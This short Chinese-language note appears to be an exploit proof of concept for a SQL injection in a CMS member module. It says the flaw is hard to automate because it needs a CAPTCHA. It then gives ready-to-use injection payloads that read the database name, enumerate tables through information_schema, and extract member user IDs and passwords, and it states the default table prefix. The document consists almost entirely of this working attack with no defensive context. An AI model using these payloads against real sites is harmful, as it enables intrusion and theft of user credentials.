由于此漏洞需要验证码 不太好自动化
```
获取数据库名
member_model_id=1&member_id[0]=exp&member_id[1]=111,122,(select database()),1,1,1,1,1,1,1,1,1,1,1)%23
获取表前缀
member_model_id=1&member_id[0]=exp&member_id[1]=111,122,(select table_name from information_schema.tables where table_schema= 0xxxxxx limit 1),1,1,1,1,1,1,1,1,1,1,1)%23
获取账号密码
member_model_id=1&member_id[0]=exp&member_id[1]=111,122,(select concat(m_userid,0x7c,m_password) from 表前缀_member where member_id= 1),1,1,1,1,1,1,1,1,1,1,1)%23
默认表前缀为uwa2x
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